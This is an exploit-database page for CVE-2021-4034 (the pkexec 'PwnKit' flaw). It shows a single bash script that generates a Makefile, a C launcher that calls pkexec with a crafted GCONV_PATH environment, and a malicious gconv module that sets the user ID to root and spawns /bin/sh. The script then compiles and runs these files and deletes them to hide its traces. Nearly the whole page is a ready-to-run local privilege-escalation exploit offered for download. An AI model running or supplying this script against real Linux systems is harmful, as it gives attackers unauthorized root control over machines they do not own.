Exploit database

GH-c487e6868643d1bd29c90b80240d49af

neonwhiterabbit/cve-2021-4034

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-4034

144 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
neonwhiterabbit/cve-2021-4034Revision a4e28455b761

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2021-4034.sh

Shell · 1,395 bytes
#!/bin/bash
#
#    one file to rule all - priv esc on linux for boxes
#        vuln to CVE-2021-4034
#   ONE FILE BASHSCRIPT by n3on     @n3onhacks on twitter
#   thanks to the OG releaser of the final C exploit: berdav
# 
#


echo "CFLAGS=-Wall

TRUE=\$(shell which true)

.PHONY: all
all: n3on.so oneline gconv-modules gconvpath

.PHONY: clean
clean:
	rm -rf n3on.so oneline gconv-modules GCONV_PATH=./

gconv-modules:
	echo \"module UTF-8// N3ON// n3on 1\" > \$@

.PHONY: gconvpath
gconvpath:
	mkdir -p GCONV_PATH=.
	cp \$(TRUE) GCONV_PATH=./n3on.so:.

n3on.so: n3on.c
	\$(CC) \$(CFLAGS) --shared -fPIC -o \$@ \$<
 " > Makefile

echo "#include <unistd.h>

int main(int argc, char **argv)
{
	char * const args[] = {
		NULL
	};
	char * const environ[] = {
		\"n3on.so:.\",
		\"PATH=GCONV_PATH=.\",
		\"SHELL=/n3onhacks\",
		\"CHARSET=N3ON\",
		NULL
	};
	return execve(\"/usr/bin/pkexec\", args, environ);
}

" > oneline.c

echo "#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void gconv(void) {
}

void gconv_init(void *step)
{
	char * const args[] = { \"/bin/sh\", NULL };
	char * const environ[] = { \"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin\", NULL };
	setuid(0);
	setgid(0);
	execve(args[0], args, environ);
	exit(0);
}

" > n3on.c

make
./oneline

#clean it up
rm gconv-modules Makefile n3on.c n3on.so oneline oneline.c
rm -R "GCONV_PATH=."